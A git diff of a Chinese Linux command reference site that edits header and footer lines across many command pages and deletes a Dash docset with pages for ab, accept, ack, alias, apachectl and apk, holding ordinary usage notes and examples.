--- a/c/w.html +++ b/c/w.html @@ -10,7 +10,7 @@ w 命令,Linux w 命令详解:显示目前登入系统的用户信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -89,7 +89,7 @@ root pts/0 222.94.97.122 - - + + \ No newline at end of file diff --git a/c/wait.html b/c/wait.html index f1cf99465c..9c2b837f01 100644 --- a/c/wait.html +++ b/c/wait.html @@ -10,7 +10,7 @@ wait 命令,Linux wait 命令详解:等待进程执行完后返回 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -79,7 +79,7 @@ - - + + \ No newline at end of file diff --git a/c/wall.html b/c/wall.html index 7517976db3..5862ec3f3d 100644 --- a/c/wall.html +++ b/c/wall.html @@ -10,7 +10,7 @@ wall 命令,Linux wall 命令详解:向系统当前所有打开的终端上输出信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -79,7 +79,7 @@ this is a test line - - + + \ No newline at end of file diff --git a/c/watch.html b/c/watch.html index 760aaaeebf..e0e9b9c666 100644 --- a/c/watch.html +++ b/c/watch.html @@ -10,7 +10,7 @@ watch 命令,Linux watch 命令详解:可以将命令的输出结果输出到标准输出设备,多用于周期性执行命令/定时执行命令 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -93,7 +93,7 @@ - - + + \ No newline at end of file diff --git a/c/wc.html b/c/wc.html index 353e139b6a..c84c3b7db1 100644 --- a/c/wc.html +++ b/c/wc.html @@ -10,7 +10,7 @@ wc 命令,Linux wc 命令详解:统计文件的字节数、字数、行数 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -118,7 +118,7 @@ wc: node_modules: read: Is a directory - - + + \ No newline at end of file diff --git a/c/wget.html b/c/wget.html index f9cc6d832d..41eb36dd64 100644 --- a/c/wget.html +++ b/c/wget.html @@ -10,7 +10,7 @@ wget 命令,Linux wget 命令详解:Linux系统下载文件工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -300,7 +300,7 @@ url4 - - + + \ No newline at end of file diff --git a/c/whatis.html b/c/whatis.html index 1ca03485aa..16e543074b 100644 --- a/c/whatis.html +++ b/c/whatis.html @@ -10,7 +10,7 @@ whatis 命令,Linux whatis 命令详解:查询一个命令执行什么功能 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -94,7 +94,7 @@ man.config [man - - + + \ No newline at end of file diff --git a/c/whereis.html b/c/whereis.html index 1bedfe1b72..c84134001a 100644 --- a/c/whereis.html +++ b/c/whereis.html @@ -10,7 +10,7 @@ whereis 命令,Linux whereis 命令详解:查找二进制程序、代码等相关文件路径 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -104,7 +104,7 @@ svn: - - + + \ No newline at end of file diff --git a/c/which.html b/c/which.html index 9f2f00e0cc..723a89eb41 100644 --- a/c/which.html +++ b/c/which.html @@ -10,7 +10,7 @@ which 命令,Linux which 命令详解:查找并显示给定命令的绝对路径 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -92,7 +92,7 @@ cd: shell built-in command - - + + \ No newline at end of file diff --git a/c/who.html b/c/who.html index b0c90725f5..14bfe54622 100644 --- a/c/who.html +++ b/c/who.html @@ -10,7 +10,7 @@ who 命令,Linux who 命令详解:显示当前所有登陆用户的信息。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -122,7 +122,7 @@ root + pts/1 2013-12-20 - - + + \ No newline at end of file diff --git a/c/whoami.html b/c/whoami.html index 291b535189..cdcc04f526 100644 --- a/c/whoami.html +++ b/c/whoami.html @@ -10,7 +10,7 @@ whoami 命令,Linux whoami 命令详解:打印当前有效的用户ID对应的名称 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -88,7 +88,7 @@ root - - + + \ No newline at end of file diff --git a/c/write.html b/c/write.html index 9bf01efe67..972477896b 100644 --- a/c/write.html +++ b/c/write.html @@ -10,7 +10,7 @@ write 命令,Linux write 命令详解:向指定登录用户终端上发送信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -84,7 +84,7 @@ - - + + \ No newline at end of file diff --git a/c/xargs.html b/c/xargs.html index cba0d564c1..14a3a344c2 100644 --- a/c/xargs.html +++ b/c/xargs.html @@ -10,7 +10,7 @@ xargs 命令,Linux xargs 命令详解:给其他命令传递参数的一个过滤器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -203,7 +203,7 @@ COMMAND7 - - + + \ No newline at end of file diff --git a/c/xauth.html b/c/xauth.html index 165b008f5b..834e82f584 100644 --- a/c/xauth.html +++ b/c/xauth.html @@ -10,7 +10,7 @@ xauth 命令,Linux xauth 命令详解:显示和编辑被用于连接X服务器的认证信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -91,7 +91,7 @@ - - + + \ No newline at end of file diff --git a/c/xclip.html b/c/xclip.html index 3928eb11ce..2667e3c060 100644 --- a/c/xclip.html +++ b/c/xclip.html @@ -10,7 +10,7 @@ xclip 命令,Linux xclip 命令详解:管理 X 粘贴板 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -75,7 +75,7 @@ - - + + \ No newline at end of file diff --git a/c/xhost.html b/c/xhost.html index 3c5d63253e..e6b425048e 100644 --- a/c/xhost.html +++ b/c/xhost.html @@ -10,7 +10,7 @@ xhost 命令,Linux xhost 命令详解:制哪些X客户端能够在X服务器上显示 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -80,7 +80,7 @@ - - + + \ No newline at end of file diff --git a/c/xinit.html b/c/xinit.html index 0b54716094..633c101c29 100644 --- a/c/xinit.html +++ b/c/xinit.html @@ -10,7 +10,7 @@ xinit 命令,Linux xinit 命令详解:是Linux下X-Window系统的初始化程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ - - + + \ No newline at end of file diff --git a/c/xlsatoms.html b/c/xlsatoms.html index e8880ef06d..fbb3249f2c 100644 --- a/c/xlsatoms.html +++ b/c/xlsatoms.html @@ -10,7 +10,7 @@ xlsatoms 命令,Linux xlsatoms 命令详解:列出X服务器内部所有定义的原子成分 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -77,7 +77,7 @@ - - + + \ No newline at end of file diff --git a/c/xlsclients.html b/c/xlsclients.html index b7decb2822..bb2dc0ad0e 100644 --- a/c/xlsclients.html +++ b/c/xlsclients.html @@ -10,7 +10,7 @@ xlsclients 命令,Linux xlsclients 命令详解:列出显示器中的客户端应用程序 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -76,7 +76,7 @@ - - + + \ No newline at end of file diff --git a/c/xlsfonts.html b/c/xlsfonts.html index acaf441043..8f9a3d4536 100644 --- a/c/xlsfonts.html +++ b/c/xlsfonts.html @@ -10,7 +10,7 @@ xlsfonts 命令,Linux xlsfonts 命令详解:列出X Server使用的字体 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -80,7 +80,7 @@ - - + + \ No newline at end of file diff --git a/c/xset.html b/c/xset.html index 72bdf24fb7..f4065bbe48 100644 --- a/c/xset.html +++ b/c/xset.html @@ -10,7 +10,7 @@ xset 命令,Linux xset 命令详解:设置X-Window系统中的用户爱好的实用工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -79,7 +79,7 @@ - - + + \ No newline at end of file diff --git a/c/xz.html b/c/xz.html index 16d22a2750..7e652a2b08 100644 --- a/c/xz.html +++ b/c/xz.html @@ -10,7 +10,7 @@ xz 命令,Linux xz 命令详解:POSIX 平台开发具有高压缩率的工具 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -126,7 +126,7 @@ $ xz -k --fast xz_pipe_decomp_mini.c - - + + \ No newline at end of file diff --git a/c/yes.html b/c/yes.html index 52383db5a8..7c3d73a556 100644 --- a/c/yes.html +++ b/c/yes.html @@ -10,7 +10,7 @@ yes 命令,Linux yes 命令详解:重复打印指定字符串 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ testline - - + + \ No newline at end of file diff --git a/c/ypdomainname.html b/c/ypdomainname.html index 1259d6ac97..e8a69d4bdb 100644 --- a/c/ypdomainname.html +++ b/c/ypdomainname.html @@ -10,7 +10,7 @@ ypdomainname 命令,Linux ypdomainname 命令详解:显示主机的NIS的域名 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -73,7 +73,7 @@ - - + + \ No newline at end of file diff --git a/c/yum.html b/c/yum.html index be18eab798..2b4d2e5221 100644 --- a/c/yum.html +++ b/c/yum.html @@ -10,7 +10,7 @@ yum 命令,Linux yum 命令详解:基于RPM的软件包管理器 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -156,7 +156,7 @@ yum groupinstall "Chinese Support" - - + + \ No newline at end of file diff --git a/c/zcat.html b/c/zcat.html index df5e18c5c3..42f2abcc37 100644 --- a/c/zcat.html +++ b/c/zcat.html @@ -10,7 +10,7 @@ zcat 命令,Linux zcat 命令详解:显示压缩包中文件的内容 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -85,7 +85,7 @@ - - + + \ No newline at end of file diff --git a/c/zfore.html b/c/zfore.html index a36901ba3e..aa4bb215d7 100644 --- a/c/zfore.html +++ b/c/zfore.html @@ -10,7 +10,7 @@ zfore 命令,Linux zfore 命令详解:强制为gzip格式的压缩文件添加.gz后缀 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -72,7 +72,7 @@ - - + + \ No newline at end of file diff --git a/c/zip.html b/c/zip.html index 99539937d5..37947bcb07 100644 --- a/c/zip.html +++ b/c/zip.html @@ -10,7 +10,7 @@ zip 命令,Linux zip 命令详解:可以用来解压缩文件 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -146,7 +146,7 @@ - - + + \ No newline at end of file diff --git a/c/zipinfo.html b/c/zipinfo.html index 5381f00d6b..9839773c93 100644 --- a/c/zipinfo.html +++ b/c/zipinfo.html @@ -10,7 +10,7 @@ zipinfo 命令,Linux zipinfo 命令详解:用来列出压缩文件信息 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -86,7 +86,7 @@ - - + + \ No newline at end of file diff --git a/c/zipsplit.html b/c/zipsplit.html index f4c899d30d..c296e6a5ef 100644 --- a/c/zipsplit.html +++ b/c/zipsplit.html @@ -10,7 +10,7 @@ zipsplit 命令,Linux zipsplit 命令详解:将较大的zip压缩包分割成各个较小的压缩包 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -77,7 +77,7 @@ - - + + \ No newline at end of file diff --git a/c/znew.html b/c/znew.html index ef137338c2..86634f9b04 100644 --- a/c/znew.html +++ b/c/znew.html @@ -10,7 +10,7 @@ znew 命令,Linux znew 命令详解:将.Z压缩包重新转化为gzip命令压缩的.gz压缩包 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -80,7 +80,7 @@ - - + + \ No newline at end of file diff --git a/hot.html b/hot.html index 740ff27b37..7e91ecc7e7 100644 --- a/hot.html +++ b/hot.html @@ -10,7 +10,7 @@ 搜索 命令,Linux 搜索 命令详解:最专业的Linux命令大全,命令搜索引擎,内容包含Linux命令手册、详解、学习,值得收藏的Linux命令速查手册。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -1208,7 +1208,7 @@ - - + + \ No newline at end of file diff --git a/index.html b/index.html index 727f866485..c2f7556179 100644 --- a/index.html +++ b/index.html @@ -10,7 +10,7 @@ Linux命令搜索引擎 命令,Linux Linux命令搜索引擎 命令详解:最专业的Linux命令大全,内容包含Linux命令手册、详解、学习,值得收藏的Linux命令速查手册。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -51,7 +51,7 @@ - - + + \ No newline at end of file diff --git a/linux-command.docset.zip b/linux-command.docset.zip deleted file mode 100644 index 59bfe8dbe4..0000000000 Binary files a/linux-command.docset.zip and /dev/null differ diff --git a/linux-command.docset/Contents/Info.plist b/linux-command.docset/Contents/Info.plist deleted file mode 100644 index 107a189668..0000000000 --- a/linux-command.docset/Contents/Info.plist +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - CFBundleIdentifier - linux-command - CFBundleName - linux-command - DocSetPlatformFamily - linux-command - isDashDocset - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ab.html b/linux-command.docset/Contents/Resources/Documents/c/ab.html deleted file mode 100644 index be171e3a06..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ab.html +++ /dev/null @@ -1,176 +0,0 @@ - - - - - - - - - - - ab 命令,Linux ab 命令详解:Apache服务器的性能测试工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ab

-

Apache服务器的性能测试工具

-

补充说明

-

ab命令 是一个测试你 Apache http 服务器的工具,你可以通过这个工具,指定一个单位时间内向 apache 发出的请求数量来看看你的 Apache 和机器配合的性能如何。

-

语法

-
ab [ -A auth-username:password ] [ -c concurrency ] [ -C cookie-name=value
-] [ -d ] [ -e csv-file ] [ -g gnuplot-file ] [ -h ] [ -H custom-header ] [
--i  ]  [  -k  ]  [  -n  requests  ] [ -p POST-file ] [ -P proxy-auth-user‐
-name:password ] [ -q ] [ -s ] [ -S ] [ -t timelimit ] [ -T content-type  ]
-[  -v verbosity] [ -V ] [ -w ] [ -x <table>-attributes ] [ -X proxy[:port]
-]  [  -y  <tr>-attributes  ]  [  -z   <td>-attributes   ]   [http://]host‐
-name[:port]/path
-
-

选项

-
-A auth-username:password
-      #  支持基本的验证证书,用户名和密码之间使用"冒号"                    :
-      # 分隔开,ab将以明文方式传送过去.不管服务器是不是需要
-      # ,也就是说你的服务器需要支持401认证.
-
--c concurrency
-      # 同时向服务器端发送的请求数目,默认状态下是一次 只执行一个http请求.
-
--C cookie-name=value
-      # Add a Cookie: line to the request. The argument is typically in the
-      # form of a name=value pair. This field is repeatable.
-
--d    #  Do not display  the  "percentage  served  within  XX  [ms]  table".
-      # (legacy support).
-
--e csv-file
-      # Write  a  Comma  separated value (CSV) file which contains for each
-      # percentage (from 1% to 100%) the time (in milli seconds) it took to
-      # serve  that percentage of the requests. This is usually more useful
-      # than the 'gnuplot' file; as the results are already 'binned'.
-
--g gnuplot-file
-      # Write all measured values out as a 'gnuplot' or TSV  (Tab  separate
-      # values)  file.  This file can easily be imported into packages like
-      # Gnuplot, IDL, Mathematica, Igor or even Excell. The labels  are  on
-      # the first line of the file.
--h    # 显示使用说明
--H custom-header
-      # 向请求包追加附加的标题字串.此参数应该是有效的标题         行(header
-      # line)形式,通常使用冒号":"来分隔有效配对 (valid  pair)例如  'Accept-
-      # Encoding: zip/zop;8 bit';
-
--i    # 使用一个 http 头(HEAD) 来替换 GET方法.不可以掺入POST 方法
-
--k    #  允许http      KeepAlive      ;也就是说执行多个请求在一个      http
-      # 会话当中,默认是不允许的也就是no KeepAlive啦;)
-
--n requests
-      # 执行一次测试会话的时候所发出的请求数目,默认是执行一个单一的请求
-      # 当然了这样的测试结果也就没什么意义了
-
--p POST-file
-      # 测试程序也就是ab,将向Apache server发送带有HTTP POST 的请求.
-
--P proxy-auth-username:password
-      # 当需要通过代理测试一台 HTTP 服务器的时候而你的代理
-      # 又需要用户名密码验证,这时你可以使用这个选项,同样
-      # 用户名与密码之间使用冒号":"分隔开,ab将之以明文的方式
-      # 发送出去,当然,前提是你的代理是处于407认证状态的
-
--q    #  When processing more than 150 requests, ab outputs a progress count
-      # on  stderr  every  10% or 100 requests or so. The -q flag will sup‐
-      # press these messages.
-
--s    #  When compiled in (ab -h will show you) use the SSL protected  https
-      # rather  than  the  http  protocol. This feature is experimental and
-      # very rudimentary. You probably do not want to use it.
-
--S    #  Do not display the median and standard deviation values,  nor  dis‐
-      # play  the  warning/error  messages  when the average and median are
-      # more than one or two times the standard deviation  apart.  And  de‐
-      # fault to the min/avg/max values. (legacy support).
-
--t timelimit
-      #  设置测试的时间的长短,使用这个选项ab将自动设置
-      # 测试请求会话数目为50000,然后以你设置的时间为
-      # 固定周期.默认状态下是没有时限的,也就是直到完成
-      # 你所设置的请求数目为止.
-
--T content-type
-      # 内容类型标头,使用在POST数据的时候.
-
--v verbosity
-      # 设置冗余级别,4级打印出每个请求标头的详细信息,
-      # 3级打印出回应代码(例如,404,200),2级打印出警告 信息和指示消息
-
--V    # 显示版本号并且退出
--w    # 打印输出结果到HTML表中. 默认的表是两列n行白底黑框
-
--x <table>-attributes
-      # 使用字串来描述表的属性,该属性字串应该插入到<table 这里 >
-
--X proxy[:port]
-      # Use a proxy server for the requests.
-
--y <tr>-attributes
-      # 用于生成html表格每行的属性名 (<tr>)
-
--z <td>-attributes
-      # 用于生成html表格每列的属性名 (<td>)
-
-

参数

-

主机:被测试主机。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/accept.html b/linux-command.docset/Contents/Resources/Documents/c/accept.html deleted file mode 100644 index f8cc580559..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/accept.html +++ /dev/null @@ -1,83 +0,0 @@ - - - - - - - - - - - accept 命令,Linux accept 命令详解:指示打印系统接受发往指定目标打印机的打印任务 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

accept

-

指示打印系统接受发往指定目标打印机的打印任务

-

补充说明

-

accept命令 属于CUPS套件,用于指示打印系统接受发往指定目标打印机的打印任务。

-

语法

-
accept(选项)(参数)
-
-

选项

-
-E:当连接到服务器时强制加密;
--U:指定连接服务器时使用的用户名;
--h:指定连接服务器名和端口号。
-
-

参数

-

目标:指定目标打印机。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ack.html b/linux-command.docset/Contents/Resources/Documents/c/ack.html deleted file mode 100644 index d3640ed0c2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ack.html +++ /dev/null @@ -1,139 +0,0 @@ - - - - - - - - - - - ack 命令,Linux ack 命令详解:比grep好用的文本搜索工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ack

-

比grep好用的文本搜索工具

-

安装

-
# ubuntu下要安装ack-grep,因为在debian系中,ack这个名字被其他的软件占用了。
-sudo apt-get install ack-grep
-# alpine Linux-apk软件包管理器 安装 ack
-apk install ack
-
-

参数

-

这些参数在linux上的适用频率是相当高的,尤其是你用vim做为IDE的话

-
-c(统计)/ -i(忽略大小)/ -h(不显示名称)/
--l(只显文件名)/ -n(加行号)/ -v(显示不匹配)
-
-

特点

-

ack官网列出了这工具的5大卖点:

-
    -
  1. 速度非常快,因为它只搜索有意义的东西。
  2. -
  3. 更友好的搜索,忽略那些不是你源码的东西。
  4. -
  5. 为源代码搜索而设计,用更少的击键完成任务。
  6. -
  7. 非常轻便,移植性好。
  8. -
  9. 免费且开源
  10. -
-

实例

-

在记忆的时候大体上可以分为这几个部分:

-
-

Searching 代码搜索
-Search output 搜索结果处理
-File presentation 文件展示
-File finding 文件查找
-File inclusion/exclusion 文件过滤

-
-

grep常用操作

-
grep -r 'hello_world' # 简单用法
-grep '^hello_world' . # 简单正则
-ls -l | grep .py # 管道用法
-
-

Searching

-

简单的文本搜索,默认是递归的。

-
ack-grep hello
-ack-grep -i hello
-ack-grep -v hello
-ack-grep -w hello
-ack-grep -Q 'hello*'
-
-

Search File

-

对搜索结果进行处理,比如只显示一个文件的一个匹配项,或者xxx

-
ack-grep --line=1       # 输出所有文件第二行
-ack-grep -l 'hello'     # 包含的文件名
-ack-grep -L 'print'     # 非包含文件名
-
-

File presentation

-

输出的结果是以什么方式展示呢,这个部分有几个参数可以练习下

-
ack-grep hello --pager='less -R'    # 以less形式展示
-ack-grep hello --noheading      # 不在头上显示文件
-ack-grep hello --nocolor        # 不对匹配字符着色
-
-

File finding

-

没错,它可以查找文件,以省去你要不断的结合find和grep的麻烦,虽然在linux的思想是一个工具做好一件事。

-
ack-grep -f hello.py     # 查找全匹配文件
-ack-grep -g hello.py$    # 查找正则匹配文件
-ack-grep -g hello  --sort-files     # 查找然后排序
-
-

File Inclusion/Exclusion

-

文件过滤,个人觉得这是一个很不错的功能。如果你曾经在搜索项目源码是不小心命中日志中的某个关键字的话,你会觉得这个有用。

-
ack-grep --python hello       # 查找所有python文件
-ack-grep -G hello.py$ hello   # 查找匹配正则的文件
-
-

参考资料

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/alias.html b/linux-command.docset/Contents/Resources/Documents/c/alias.html deleted file mode 100644 index 3c01c23128..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/alias.html +++ /dev/null @@ -1,173 +0,0 @@ - - - - - - - - - - - alias 命令,Linux alias 命令详解:定义或显示别名。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

alias

-

定义或显示别名。

-

概要

-
alias [-p] [name[=value] ...]
-
-

主要用途

-
    -
  • 简化较长的命令。
  • -
  • 定义一个或多个别名。
  • -
  • 修改一个或多个已定义别名的值。
  • -
  • 显示一个或多个已定义别名。
  • -
  • 显示全部已定义的别名。
  • -
-

选项

-
-p:显示全部已定义的别名。
-
-

参数

-

name(可选):指定要(定义、修改、显示)的别名。

-

value(可选):别名的值。

-

返回值

-

alias返回true除非您要显示的别名未定义。

-

例子

-
# 显示全部已定义的别名
-alias
-alias -p
-
-# 显示已定义的别名(假设当前环境存在以下别名)
-alias ls
-alias ls grep
-
-# 定义或修改别名的值
-alias ls='ls --color=auto'
-alias ls='ls --color=never' grep='grep --color=never'
-
-

知识点

-

直接在shell里设定的命令别名,在终端关闭或者系统重新启动后都会失效,如何才能永久有效呢?

-

使用编辑器打开~/.bashrc,在文件中加入别名设置,如:alias rm='rm -i',保存后执行source ~/.bashrc,这样就可以永久保存命令的别名了。

-

因为修改的是当前用户目录下的~/.bashrc文件,所以这样的方式只对当前用户有用。如果要对所有用户都有效,修改/etc/bashrc文件就可以了。

-
-

请注意,以下内容可能与您实际使用的系统有出入:

-

在CentOS7下,这个文件是/etc/bash.bashrc。此外在CentOS7下,细看~/.bashrc文件,会发现有这样一段代码:

-
if [ -f ~/.bash_aliases ]; then
-  . ~/.bash_aliases
-fi
-
-

这个代码的意思就是如果存在那么就加载.bash_aliases文件,所以也可以在用户根目录下新建该文件用于单独存放命令别名设置。

-
-

错误用法

-
    -
  • -

    要显示的别名未定义。

    -
  • -
  • -

    当您定义(修改)别名的值的时候,由于值的字符串有空格但您没有用单引号扩起,那么会导致严重的问题:

    -
  • -
-
# 为方便演示,删除全部别名
-unalias -a
-# 没有用单引号扩起
-alias rm=rm -rf
-# 执行命令后报错 bash: alias: -rf: not found
-# 这时使用alias查看rm的别名时返回 alias rm='rm'
-
-
# 更具有迷惑性的例子
-# 为方便演示,删除全部别名
-unalias -a
-# 仍然没有用单引号括起
-alias ls=ls --color=never
-# 执行命令后看起来没有报错
-
-# 使用alias查看全部别名会发现运行结果如下:
-# alias --color=never
-# alias ls='ls'
-# alias处理时将它们看成了两组
-
-

Q&A

-

Q:如果我要显示一到多个别名,但不知道其中是否有未定义的该怎么办?

-

A:正常执行就是了,alias不会因为有一个未定义的别名就结束对剩余参数的执行。

-

Q:如果我这么定义alias cd='ls' ls='cd',会有什么后果?

-

A:运行cd依然会切换目录,运行ls依然会列出文件夹的内容;不要这样定义。

-

注意

-
    -
  1. 执行脚本时请注意:
  2. -
-
-

使用source命令执行的bash脚本如果执行了aliasunalias命令,那么有可能会对终端环境的别名设置产生影响;终端环境的别名设置也可能改变运行结果;

-

通过sh方式调用的bash脚本或直接运行当前用户有执行权限的脚本不受终端环境的别名影响。

-
-
    -
  1. -

    删除别名,请查看unalias命令。

    -
  2. -
  3. -

    建议您不要对mv cp rm等命令的别名设置危险的-f选项,比如alias rm='rm -f'

    -
  4. -
  5. -

    需要注意别名是否和其他命令有冲突的情况。

    -
  6. -
  7. -

    该命令是bash内建命令,相关的帮助信息请查看help命令。

    -
  8. -
-

其他参考链接

-

Linux命令详解:[8]alias创建自己的命令

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/apachectl.html b/linux-command.docset/Contents/Resources/Documents/c/apachectl.html deleted file mode 100644 index 3e4508c1fa..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/apachectl.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - - - - - - - - apachectl 命令,Linux apachectl 命令详解:Apache服务器前端控制工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

apachectl

-

Apache服务器前端控制工具

-

补充说明

-

apachectl命令 是Apache的Web服务器前端控制工具,用以启动、关闭和重新启动Web服务器进程。

-

语法

-
apachectl(参数)
-
-

参数

-
    -
  • configtest:检查设置文件中的语法是否正确;
  • -
  • fullstatus:显示服务器完整的状态信息;
  • -
  • graceful:重新启动Apache服务器,但不会中断原有的连接;
  • -
  • help:显示帮助信息;
  • -
  • restart:重新启动Apache服务器;
  • -
  • start:启动Apache服务器;
  • -
  • status:显示服务器摘要的状态信息;
  • -
  • stop:停止Apache服务器。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/apk.html b/linux-command.docset/Contents/Resources/Documents/c/apk.html deleted file mode 100644 index d115f3ed4d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/apk.html +++ /dev/null @@ -1,179 +0,0 @@ - - - - - - - - - - - apk 命令,Linux apk 命令详解:Alpine Linux 下的包管理工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

apk

-

Alpine Linux 下的包管理工具

-

使用实例

-
apk install xxx
-apk search xxx # 支持正则
-apk info xxx # 查看包的详细信息
-apk show # list local package
-# 卸载并删除 包
-apk del openssh openntp vim
-
-

升级

-

upgrade命令升级系统已安装的所以软件包(一般包括内核),当然也可指定仅升级部分软件包(通过-u或–upgrade选择指定)。

-
apk update # 更新最新本地镜像源
-apk upgrade # 升级软件
-apk add --upgrade busybox # 指定升级部分软件包
-
-

搜索

-
apk search # 查找所以可用软件包
-apk search -v # 查找所以可用软件包及其描述内容
-apk search -v 'acf*' # 通过软件包名称查找软件包
-apk search -v -d 'docker' # 通过描述文件查找特定的软件包
-
-

查看包信息

-

info命令用于显示软件包的信息。

-
apk info # 列出所有已安装的软件包
-apk info -a zlib # 显示完整的软件包信息
-apk info --who-owns /sbin/lbu # 显示指定文件属于的包
-
-

笔记

-

还是蛮喜欢 alpine 的,简单纯粹

-
apk add iproute2 # ss vs netstat
-ss -ptl
-apk add drill # drill vs nslookup&dig
-
-crond # 开启 cron 服务
-crontab -l -e
-
-apk add xxx
-apk search -v xxx
-apk info -a xxx
-apk info
-echo -e "http://mirrors.aliyun.com/alpine/v3.6/main\nhttp://mirrors.aliyun.com/alpine/v3.6/community" > /etc/apk/repositories
-apk update
-
-# storage
-ibu # alpine local backup
-
-# network
-echo "shortname" > /etc/hostname
-hostname -F /etc/hostname
-/etc/hosts
-/etc/resolv.conf # conig DNS
-modprobe ipv6 # enable ipv6
-echo "ipv6" >> /etc/modules
-iface # config interface
-apk add iptables ip6tables iptables-doc
-/etc/init.d/networking restart # activate change
-apke add iputils # IPv6 traceroute
-traceroute6 ipv6.google.com
-awall # alpine wall
-# setup a openvpn server
-
-# post-install
-/etc/apk/repositories
-apk add cherokee --update-cache --repository http://dl-3.alpinelinux.org/alpine/edge/testing/ --allow-untrusted
-apk search -v --description 'NTP' # show description and search from description
-apk info -a zlib
-apk info -vv|sort
-apk info -r -R # require / depency
-apk version -v -l '<' # show available updates
-apk upgrade -U -a
-apk add -u xxx # update xxx
-
-/etc/runlevels # runlevel
-apk add openrc # use openrc for init system
-rc-update add xxx # set to start on
-rc-service xxx start # equal -> /etc/init.d/xxx start
-rc-status
-
-adduser xxx
-passwd xxx
-
-apk add ansible # server
-ssh-keygen
-/etc/ansible/hosts
-apk add python # node
-ssh-copy-id
-
-apk add man man-pages mdocml-apropos less less-doc
-export PAGER=less
-/etc/rc.conf # /etc/rc.conf -> funny character
-apk add bash bash-doc bash-completion # bash
-apk add util-linux pciutils usbutils coreutils binutils findutils grep # grep / awk
-apk add build-base gcc abuild binutils binutils-doc gcc-doc # compile
-apk add cmake cmake-doc extra-cmake-modules extra-cmake-modules-doc
-apk add ccache ccache-doc
-
-apk add docker # docker
-rc-update add docker boot
-rc-service docker start
-apk add py-pip
-pip install docker-compose
-ln -s /usr/bin/docker-compose /usr/bin/doc
-
-# application
-apk add openssh # ssh
-rc-update add sshd
-/etc/init.d/sshd start
-/etc/sshd_config
-apk add dropbear # another openssh implementation
-
-
